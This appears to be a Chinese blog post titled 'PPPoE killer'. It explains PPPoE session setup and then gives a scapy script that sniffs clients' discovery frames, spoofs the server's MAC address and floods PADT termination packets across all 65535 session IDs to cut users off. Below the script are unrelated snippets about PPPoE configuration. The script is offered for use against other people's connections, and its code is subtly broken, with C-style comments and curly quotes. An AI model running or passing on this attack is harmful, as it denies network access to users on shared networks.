PPPoE杀手

PPPoE协议原理:

第一阶段:

1.pppoe client广播发送PADI数据包建立连接,

2.pppoes erver回复一个单单播帧

3.client回复一个单播请求

4.pppoe server就会回复一个允许包(包中携带sessionid)

第二阶断:然后双方使用PPP的LCP协议协商链路,NCP进行密码检验,即可通讯。

重点:第一阶段pppoe会话重要依据就是双方的mac和sessionid

原理:只要在pppoe client发送广播帧发送discovery时,监听网络,得到client mac地址,再对client发送一个PADT数据包,包中包含sessionid,这时就可以使client误以为server结束了连接。注意:在发送病毒帧时,双方应该已经完成了第一阶段的会话

由于我们不清楚客户获得的sessionid,所以对于sessionid的取值直接使用了数据字典,因此为了破坏连接必须发送65535个数据包,所需时间较长;

代码如下:

from  scapy.all import *

while True:

try:

a=sniff(filter=‘pppoed‘,count=1)

c=Ether()/PPPoE()

c.dst=a[0].src

c.src="00:0c:29:be:f5:21"  //注意:这个src是你pppoe服务器的mac地址,请酌情手工修改

c.type=0x8863

c.payload.code=0xa7

c.payload.sessionid=range(65535)

c.payload.len=0

sendp(c)

print "We have attack one,his/her mac address is "+a[0].src

except:

continue

时间: 10-07

PPPoE杀手的相关文章

OpenWrt PPPoE拨号问题之mac地址克隆

[转载请注明出处:钱国正的专栏http://blog.csdn.net/qianguozheng/article/details/38322705] 在实施任何大型项目中,我们会遇到各种各样的问题,当然了,如果做足了充分的测试,我们会便利很多. 前言 Mac地址克隆主要是解决运营商绑定mac地址的行为,这种行为就给哥添麻烦. 好了,话题转回,我如何实现这个Mac地址克隆的. OpenWrt中的LAN口以实现Mac地址克隆,所以其相关的设置Mac地址克隆的东西也已经存在了,我们需要做的就是搬到PP

pppoe中继代理

PPPoE中继代理--pppoe-relaypppoe-relay [参数]实例1:中继网络接口eth0上的PPPoE客户端与网络接口eth1上的PPPoE服务器间的帧.[[email protected] ~]# pppoe-relay –C eth0 –S eth1其中"-C eth0"表示eth0网络的客户端,而"-S eth1"表示eth1网络的服务端.实例2:实现透明中继.中继任何组合的客户端和服务器之间的网络eth0和eth1.[[email prote

Linux PPPOE 服务搭建测试

最近服务器那边需要搭建一套PPPOE拨号上网,网上找了好几次都感觉不能使用,我在基础上做了修改,可以使用了,作为资料共享给大家,共同学习. 文件版本: V1.0 文件编号: R&D0030 发布日期: 2017-01-17 编    制: xxxxxx 审    批: PPPOE服务器 xxx 版权所有 目录 1. 系统部署基础4 1.1 服务端搭建4 1.2 客户端Windows测试7 1.3 客户端Linux测试10 1.4 资料14 修订记录 版本号 发布日期 拟制人 修订描述 V1.0

由于网线存在问题导致PPPOE用户上网速度变慢

某局采用S5500+S2300的组网方式,由于上行光路资源较少,故在小区采用S2300级联的方式,级联采用5类双绞线,用户采用PPPOE的方式上网.在开通后,部分二级交换机用户反映上网速度较慢. 处理步骤:第一步.在二级楼道交换机上进行测试,发现确实存在问题,打开本地网站速度很慢.在计算机上进行PING包,发现PING公网在包长超过100后有大量的丢包.由于PING公网出现丢包不能反映实际问题.于是PING S5500的网关地址进行测试,发现也存在同样的问题.至此可以定位从用户侧到S5500下行

Centos7 配置PPPOE拨号

由于需要做网站数据的抓取,普通的固定代理会容易被封禁,所以我们就用PPPOE通过动态拨号换不同的IP地址来解决该问题,下面PPPOE设置的整个方法过程: 移除NetworkManager安装rp-pppoe 第一步 搜寻pppoe可以找到pppoe相关套件,我们要使用的是rp-pppoe. yum search pppoe 第二步 使用yum安装rp-pppoe. yum install rp-pppoe -y 第三步 移除NetworkManaget. yum erase NetworkMan

PPPoE基本原理与配置

大分部ISP(Internet服务提供商)在网络上使用PPPoE(Point to Point Over Ethernet,以太网上的点对点协议)来验证用户的计算机.大家在家里上网的时候会进行ADSL拨号连接,中小型公司的路由器进行ADSL连接,使用的都是PPPoE协议.今天为大家讲解一下PPPoE的基本原理.演示如何在思科路由器上配置服务器和客户端,以及在Windows操作系统上配置客户端. PPPoE概述: PPPoE是一个二层协议,用于把PPP的数据帧封装在以太网帧中.借助PPP的优势,可

linux下利用PPPOE实现拨号上网

PPPOE实现拨号上网 PPPOE简介: 与传统的接入方式相比,PPPoE具有较高的性能价格比,它在包括小区组网建设等一系列应用中被广泛采用,目前流行的宽带接入方式ADSL 就使用了PPPoE协议. 随着低成本的宽带技术变得日益流行,DSL(Digital Subscriber Line)数字用户线技术更是使得许多计算机在互联网上能够酣畅淋漓的冲浪了.但是这也增加了DSL服务提供商们对于网络安全的担心. 通过ADSL方式上网的计算机大都是通过以太网卡(Ethernet)与互联网相连的.同样使用的

Configure PPPoE on CentOS7

Why? I prefer using ethernet to Wifi to access internet. But, I'm afraid, sometimes I have to use Wifi. So, I'm going to configure my CentOS7 to be able to access internet through both Wifi and Ethernet. Preparation The ethernet interface/card name i

cisco路由器宽带拨号pppoe

(config) # vpdn enable (config) # vpdn-group pppoe (config-vpdn) #accept-dialin (config-vpdn-acc-in) # protocol pppoe (config) # inter f0/0 (config-if) # no ip address (config-if) # pppoe enable (config-if) # pppoe-client dial-pool-number 1 (config-i